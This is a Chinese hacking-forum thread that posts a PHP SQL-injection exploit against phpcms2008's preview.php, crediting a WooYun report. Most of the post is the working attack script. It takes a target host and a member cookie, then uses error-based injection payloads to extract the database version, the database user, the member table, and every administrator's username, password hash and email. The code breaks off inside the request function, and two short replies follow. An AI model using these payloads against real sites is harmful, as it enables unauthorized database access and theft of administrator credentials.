查看: 10605|回复: 2

phpcms2008 preview.php 注入EXP

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2013-12-15 11:49:11 | 显示全部楼层 |阅读模式
    本帖最后由 C4r1st 于 2013-12-15 11:52 编辑

    此漏洞的详细介绍可以在这里找到的,见楼下链接:

    wooyun.org/bugs/wooyun-2013-022112


    phpcms2008 preview.php注入EXP

    可能使用的时候要更改一下User-Agent,否则注入不成功。
    注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
    EXP:

    [mw_shl_code=php,true]<?php
    /**
    * Created by 独自等待
    * Date: 13-11-24
    * Time: 下午8:36
    * Name: phpcms2008_preview.php
    */
    print_r('
    +------------------------------------------------------+
                 PHPCMS2008 preview.php 注入EXP
                    Exploit BY: 独自等待
                      Time:2013-11-24
    +------------------------------------------------------+
    ');
    if ($argc < 3) {
        print_r('
    +------------------------------------------------------+
    Useage: php ' . $argv[0] . ' host path
    Host: target server (ip/hostname)
    Path: path of phpcms
    Example: php ' . $argv[0] . ' localhost /phpcms
    +------------------------------------------------------+
        ');
        exit;
    }
    error_reporting(7);
    //统计时间
    $start_time = func_time();
    $host = $argv[1];
    $path = $argv[2];
    $cookie = ''; //请把会员cookie写入此变量中
    if ($cookie == '') exit('请注册会员后写入cookie到cookie变量中。');
    if (preg_match('/MySQL Query/i', send_pack("'"))) {
        //数据库版本
        $db_ver = "'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
        echo '数据库版本:' . get_info($db_ver) . "\n";
        //数据库用户
        $db_user = "'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
        echo '数据库用户:' . get_info($db_user) . "\n";
        //获取用户表
        $db_member = "' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
        $member = get_info($db_member);
        //获取管理员数量
        $db_count = "' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
        $ad_count = get_info($db_count);
        echo '管理员表中共有--[' . $ad_count . ']--个管理员' . "\n";
        //显示注入数据
        foreach (range(0, ($ad_count - 1)) as $i) {
            $ad_pass = "' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
            echo '管理员[' . ($i + 1) . ']-->' . get_info($ad_pass) . "\n";
        }
    } else {
        exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
    }

    //提取返回信息
    function get_info($info)
    {
        preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
        if (preg_match('/charset=utf-8/i', send_pack($info))) {
            return iconv('utf-8', 'gbk//IGNORE', $match_string[1]);
        } else {
            return $match_string[1];
        }
    }

    //发送数据包函数
    function send_pack($cmd)
    {
        global $host, $path, $cookie;
        $data = "GET " . $path . "/preview.php?info[catid]=15&content=a
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2016-11-8 14:32
  • 签到天数: 140 天

    [LV.7]常住居民III

    发表于 2014-1-2 05:10:59 | 显示全部楼层
    来看看!!!
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-7-7 23:43:58 来自手机 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-19 00:46 , Processed in 0.019311 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部